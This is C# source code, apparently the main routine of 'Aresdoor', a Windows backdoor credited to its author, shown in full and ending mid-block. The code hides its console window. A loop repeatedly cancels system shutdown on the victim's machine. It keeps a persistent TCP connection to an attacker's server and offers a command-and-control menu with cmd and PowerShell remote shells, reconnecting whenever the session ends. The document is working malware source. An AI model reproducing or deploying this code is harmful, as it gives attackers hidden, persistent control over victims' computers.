static void Main(string[] args)
{
/*
* Usage:
* ./aresdoor.exe [server] [port]
* or
* ./aresdoor.exe (no args) << requires hardcoded configuration
*
*/
#if !DEBUG
/* Hide console if debug mode is disabled. */
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // hide window
#endif
/* Intercept command line arguments if any are found. */
try
{
if (args.Length >= 2)
{
server = args[0]; port = Int32.Parse(args[1]);
}
} catch (Exception exc) { Console.WriteLine(exc.Message); }
/* Undertermined code. Not sure if it's required or not? */
if (System.Diagnostics.Process.GetProcessesByName(System.Diagnostics.Process.GetCurrentProcess().ToString()).Length != 0)
{
System.Environment.Exit(0);
}
/* Prevent the client (victim) from shutting down the computer */
if (prevent_shutdown == true)
{
new System.Threading.Thread(() =>
{
System.Threading.Thread.CurrentThread.IsBackground = true;
while (true)
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "shutdown.exe";
process.StartInfo.Arguments = "-a";
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.Start();
process.WaitForExit();
System.Threading.Thread.Sleep(2000);
}
}).Start();
}
/* Persistant backdoor connection */
persistantBackdoor:
while (true)
{
if (Networking.checkInternetConn(server)) // Determine if the victim is able to connect to the attacker via DHCP (ping) request
{
try
{
#if DEBUG
Console.WriteLine("Sending backdoor to: {0}, port: {1}", server, port);
#endif
// Define a couple of variables that set our connection target
System.Net.Sockets.TcpClient tcpClient = new System.Net.Sockets.TcpClient(server, port);
// Custom class/method instances
NetworkCommunication nc = new NetworkCommunication();
BackdoorCollection bc = new BackdoorCollection();
// Write in loop for a persistant connection
while (true)
{
candcmenu:
if (backdoorPassword != "")
{
nc.DataTravelTO(tcpClient, "This copy of Aresdoor has been password protected.\n\n");
inputPassword:
nc.DataTravelTO(tcpClient, "Password: "******"\n", string.Empty) != backdoorPassword)
{
nc.DataTravelTO(tcpClient, "Access denied.\n\n");
goto inputPassword;
} // else continue
}
string aresdoorStartMenu = string.Empty;
string responseFromServer = string.Empty;
aresdoorStartMenu += "+-------------------------------------------------------------+\n";
aresdoorStartMenu += "| Welcome to Aresdoor - a backdoor written by @BlackVikingPro |\n";
aresdoorStartMenu += "| Current Version: v1.3.1 |\n";
aresdoorStartMenu += "| |\n";
aresdoorStartMenu += "| C&C Menu Version: v1.0 |\n";
aresdoorStartMenu += "+-------------------------------------------------------------+\n";
aresdoorStartMenu += "\nPlease select an option below:\n";
aresdoorStartMenu += " 1) Command Prompt Backdoor\n";
aresdoorStartMenu += " 2) Powershell Backdoor\n";
aresdoorStartMenu += " 3) Exit\n\n";
nc.DataTravelTO(tcpClient, "\n" + aresdoorStartMenu);
optionInputDisplay: // Define a mark for requesting an option to be inputted
nc.DataTravelTO(tcpClient, "aresdoor> ");
// Wait for a response
responseFromServer = nc.DataTravelFROM(tcpClient);
responseFromServer = responseFromServer.Replace("\n", string.Empty).Replace(" ", string.Empty);
if (responseFromServer == "1")
{
while (bc.CommandPromptBackdoor(tcpClient))
{
}
goto candcmenu;
}
else if (responseFromServer == "2")
{
while (bc.PowershellBackdoor(tcpClient))
{
}
goto candcmenu;
}
else if (responseFromServer == "3" || responseFromServer == "exit")
{
nc.DataTravelTO(tcpClient, "Closing TCP Connection... You have 5 seconds before another shell is spawned.\n");
nc.CloseTCPStream(tcpClient);
System.Threading.Thread.Sleep(5000);
goto persistantBackdoor;
}
else if (responseFromServer == "")
{
goto optionInputDisplay;
}
else
{
nc.DataTravelTO(tcpClient, "Sorry, \"" + responseFromServer + "\" is not a recognized command.\n");
goto optionInputDisplay;
}
}
// sendBackdoor(server, port);
}
#if DEBUG
catch (Exception exc)
{ Console.WriteLine(exc.Message); goto persistantBackdoor; } // pass silently unless debug mode is enabled
#else
catch (Exception) { goto persistantBackdoor; }
#endif
}
#if DEBUG
else
{
Console.WriteLine("Couldn't connect to {0}:{1}. Retrying in 5 seconds...", Networking.resolveHostName(server), port);
}
